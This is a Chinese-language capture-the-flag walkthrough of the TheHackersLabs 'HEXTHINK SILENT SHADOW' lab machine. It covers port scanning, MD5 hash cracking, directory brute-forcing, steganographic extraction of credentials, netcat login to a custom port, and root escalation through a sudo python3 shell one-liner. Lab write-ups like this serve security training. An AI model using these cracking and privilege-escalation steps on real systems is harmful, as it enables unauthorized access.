<h1>HEXTHINK SILENT SHADOW</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/110">https://labs.thehackerslabs.com/machine/110</a>
</blockquote>
<img src="/post-images/TheHackersLabsHEXTHINK%20SILENT%20SHADOW/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ HEXTHINK_SILENT_SHADOW nmap -sT -min-rate 10000 -p- 192.168.56.97
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 21:39 CST
Nmap scan report for 192.168.56.97
Host is up (0.00038s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
9090/tcp open zeus-admin
MAC Address: 08:00:27:78:E8:00 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.42 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ HEXTHINK_SILENT_SHADOW nmap -sT -A -p 22,80,3306,9090 192.168.56.97 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 21:41 CST
Nmap scan report for 192.168.56.97 
Host is up (0.00041s latency).
 
PORT STATE SERVICE VERSION 
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 4d:6e:39:a4:15:86:88:70:c7:9d:09:91:a3:0b:18:8c (ECDSA)
|_ 256 f9:21:5d:25:ee:76:05:db:01:3b:45:c9:68:b0:82:9f (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu) 
|_http-title: Site doesn''t have a title (text/html; charset=UTF-8).
3306/tcp open mysql MariaDB 5.5.5-10.11.11 
| mysql-info: 
| Protocol: 10 
| Version: 5.5.5-10.11.11-MariaDB-0ubuntu0.24.04.2
| Thread ID: 35 
| Capabilities flags: 63486 
| Some Capabilities: SupportsCompression, Support41Auth, IgnoreSpaceBeforeParenthesis, ODBCClient, DontAllowDatabaseTableColumn, IgnoreSigpipes, ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolOld, InteractiveClient, Speaks41ProtocolNew, FoundRows, SupportsLoadDataLocal, LongColumnFlag, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit 
| Salt: BwQo]cXnB?UoLmc(9'Wb 
|_ Auth Plugin Name: mysql_native_password
9090/tcp open tcpwrapped 
MAC Address: 08:00:27:78:E8:00 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 
Device type: general purpose 
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19 
Network Distance: 1 hop 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
 
TRACEROUTE 
HOP RTT ADDRESS
1 0.41 ms 192.168.56.97
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds 
</code></pre>
<h3>枚举</h3>
访问 <code>HTTP</code> ，提示了很有意思的东西
<img src="/post-images/TheHackersLabsHEXTHINK%20SILENT%20SHADOW/image1.png" alt="image.png">
得到数据库的用户 <code>ctf_user</code>
连接数据库，意外的发现不用数据库
<img src="/post-images/TheHackersLabsHEXTHINK%20SILENT%20SHADOW/image2.png" alt="image.png">
数据库里面好几个表（账户，雇员，消息，供应商，用户），还存了一些图片
一些有趣的信息：
<pre><code class="hljs language-bash">Buscamos pentesters sin miedo. Contacto interno: d3v@n0m41n.
//
admin	21232f297a57a5a743894a0e4a801fc3
test	098f6bcd4621d373cade4e832627b4f6
support	e99a18c428cb38d5f260853678922e03
h4cker	5f4dcc3b5aa765d61d8327deb882cf99
</code></pre>
我们将用户表进行爆破
<img src="/post-images/TheHackersLabsHEXTHINK%20SILENT%20SHADOW/image3.png" alt="image.png">
<pre><code class="hljs language-bash">➜ HEXTHINK_SILENT_SHADOW john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 users
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
password (h4cker) 
abc123 (support) 
admin (admin) 
test (test) 
4g 0:00:00:00 DONE (2025-07-30 21:54) 200.0g/s 8313Kp/s 8313Kc/s 9350KC/s tyson4..tauruz
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 
</code></pre>
目录爆破
<pre><code class="hljs language-bash">➜ HEXTHINK_SILENT_SHADOW feroxbuster --url http://192.168.56.97/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --filter-status 404,503,400 -x asp,php,txt,zip
 
 ___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯 Target Url │ http://192.168.56.97/
 🚀 Threads │ 50
 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
 💢 Status Code Filters │ [404, 503, 400]
 💥 Timeout (secs) │ 7
 🦡 User-Agent │ feroxbuster/2.11.0
 💉 Config File │ /etc/feroxbuster/ferox-config.toml
 🔎 Extract Links │ true
 💲 Extensions │ [asp, php, txt, zip]
 🏁 HTTP methods │ [GET]
 🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 3l 38w 383c http://192.168.56.97/
200 GET 872l 4588w 76866c http://192.168.56.97/index2.php
200 GET 3l 38w 383c http://192.168.56.97/index.php
301 GET 9l 28w 319c http://192.168.56.97/javascript => http://192.168.56.97/javascript/
200 GET 872l 4588w 76849c http://192.168.56.97/info.php
301 GET 9l 28w 326c http://192.168.56.97/javascript/jquery => http://192.168.56.97/javascript/jquery/
[####################] - 3m 3114515/3114515 0s found:7 errors:4 
[####################] - 3m 1038145/1038145 5925/s http://192.168.56.97/ 
[####################] - 3m 1038145/1038145 5868/s http://192.168.56.97/javascript/ 
[####################] - 3m 1038145/1038145 6569/s http://192.168.56.97/javascript/jquery/ 
</code></pre>
<code>index2.php</code> 和 <code>info.php</code> 是一样的
<img src="/post-images/TheHackersLabsHEXTHINK%20SILENT%20SHADOW/image4.png" alt="image.png">
扫描后发现，用户表中信息无用，我已经将其拿去进行爆破了，但是没有结果
然后 <code>notice</code>表中，有一个 ‘你已经走了很长一段路。但还有很长的路要走……’，并附上了一张照片
<img src="/post-images/TheHackersLabsHEXTHINK%20SILENT%20SHADOW/image5.png" alt="image.png">
我们将照片保存下来，格式是 <code>JPG</code>
<img src="/post-images/TheHackersLabsHEXTHINK%20SILENT%20SHADOW/image6.png" alt="image.png">
我们尝试提取信息
<pre><code class="hljs language-bash">➜ HEXTHINK_SILENT_SHADOW binwalk -Me --run-as=root 2.jpg 

Scan Time: 2025-07-30 22:34:11
Target File: /root/Desktop/TheHackersLabs/HEXTHINK_SILENT_SHADOW/2.jpg
MD5 Checksum: 1576b20a92fe6ac42b11889e1f790aa1
Signatures: 436

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------

WARNING: One or more files failed to extract: either no utility was found or it's unimplemented

➜ HEXTHINK_SILENT_SHADOW stegseek 2.jpg 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "hello"
[i] Original filename: "instrucciones.txt".
[i] Extracting to "2.jpg.out".
</code></pre>
最后使用 <code>StegSeek</code> 能获取到东西
<pre><code class="hljs language-bash">➜ HEXTHINK_SILENT_SHADOW cat 2.jpg.out 
Para continuar deberás abrir el Puerto 9090

Esto no es un escaneo Es un saludo

Envía la siguiente cadena al puerto 9090:

LOGIN whisper
KEY whisper9090

No lo hagas mal Solo hay una oportunidad
</code></pre>
让我将其发送到 <code>9090</code>，并且只有一次机会
<pre><code class="hljs language-bash">➜ HEXTHINK_SILENT_SHADOW echo "LOGIN whisper\nKEY whisper9090" | nc 192.168.56.97 9090
Usuario SSH: whisper
Contraseña: 7h3m1nDf0x
</code></pre>
发送后得到一组账户凭据
我们进行 <code>SSH</code> 登录，拿 <code>user.txt</code>
<pre><code class="hljs language-bash">whisper@server:~$ cat user.txt 
THL{8axxxxxxxxxxxxxx
</code></pre>
<h2>权限提升</h2>
<code>sudo</code> 权限
<pre><code class="hljs language-bash">whisper@server:~$ sudo -l
Matching Defaults entries for whisper on server:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User whisper may run the following commands on server:
 (ALL) NOPASSWD: /usr/bin/python3
</code></pre>
梭哈
<pre><code class="hljs language-bash">whisper@server:~$ sudo /usr/bin/python3 -c "import os;os.system('/bin/bash -p')"
root@server:/home/whisper# 
</code></pre>
<pre><code class="hljs language-bash">root@server:~# cat root.txt 
THL{Zpxxxxxxxxxxxxxxxxx
</code></pre>

HEXTHINK SILENT SHADOW

 https://labs.thehackerslabs.com/machine/110
 



Recon

PortScan





枚举

访问 `HTTP` ，提示了很有意思的东西



得到数据库的用户 `ctf_user`

连接数据库，意外的发现不用数据库



数据库里面好几个表（账户，雇员，消息，供应商，用户），还存了一些图片
...

TheHackersLabs - HEXTHINK SILENT SHADOW

Cyberstrikelab - Lab4

Cyberstrikelab - Lab3